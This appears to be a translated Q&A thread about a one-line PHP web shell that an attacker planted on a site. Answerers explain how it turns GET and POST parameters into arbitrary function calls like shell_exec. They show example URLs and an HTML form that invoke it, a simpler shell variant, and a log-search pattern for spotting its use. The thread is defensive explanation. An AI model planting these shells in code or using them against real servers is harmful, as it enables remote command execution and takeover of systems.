找到了黑客留下的代码,但不明白它的作用


Found codes left by hacker but don't understand what it does

我在我的一个PHP文件中发现了黑客留下的一行脚本。它读起来是这样的:

<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>

任何人都可以就这行代码的作用给出一些提示吗?谢谢

由于

问题被搁置,我已经将其作为评论发布,现在作为答案:

这是一个PHP外壳。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?> URL,file.php?2=shell_exec&1=whoami则在 shell 上执行whoami命令。在您的示例中,一个参数由 POST 传递,一个由 GET 传递。所以打电话有点难。

你也可以用它调用其他函数。第一个参数始终是函数名称,第二个参数是被调用函数的参数。

显然,它在 http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872)上进行了解释,但该网站无法为我加载。

/edit:如果您有权访问服务器日志文件,则可以搜索它们以查看黑客是否使用此 shell。外壳上的简单egrep "(&|'?)2=.+" logs*应该可以工作。您只能看到执行命令的一半(仅 GET,而不是 POST),但也许这有助于查看攻击者是否真的使用了他的脚本。

正如Reeno在评论中已经说过的那样,它就像一个PHP外壳。

解释

  • 将带有键"2"的 GET 变量存储在名为 $_ 的变量中。由于 PHP 的弱类型性质,我们不需要在数字周围加上引号。

    $_=@$_GET[2]
    
  • $_视为可调用的函数名称,并使用$_POST[1]作为第一个参数执行它。

    @$_($_POST[1])
    

@运算符应禁止显示错误日志记录,请参阅 PHP.net:错误控制运算符。

这两个语句之间的串联运算符实际上并不重要。它可以像这样重写:

$_=@$_GET[2];
@$_($_POST[1]);

用例

调用任意函数。我不会提到成功攻击的特定HTTP标头,但这对于每个(Web)程序员来说都应该相当容易。

首先,您必须尽快删除这些行。

此代码用于调用 PHP 函数。举个例子,你的黑客会使用这种形式:

<form method="post" action="http://site.com/page.php?2=shell_exec">
    <input name="1" value="ipconfig -all"/>
    <input type="submit" value="Send"/>
</form>

然后,您将获得以下值:

  • $_ = $_GET[2] = shell_exec
  • $_POST[1] = ipconfig -all
  • $_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")

@在这里禁用错误。


一个更简单的例子是使用以下代码:

<?= @$_GET['c'](@$_GET['p']); ?>

只需一个简单的电话即可 http://site.com/page.php?c=shell_exec&p=ipconfig%20-all.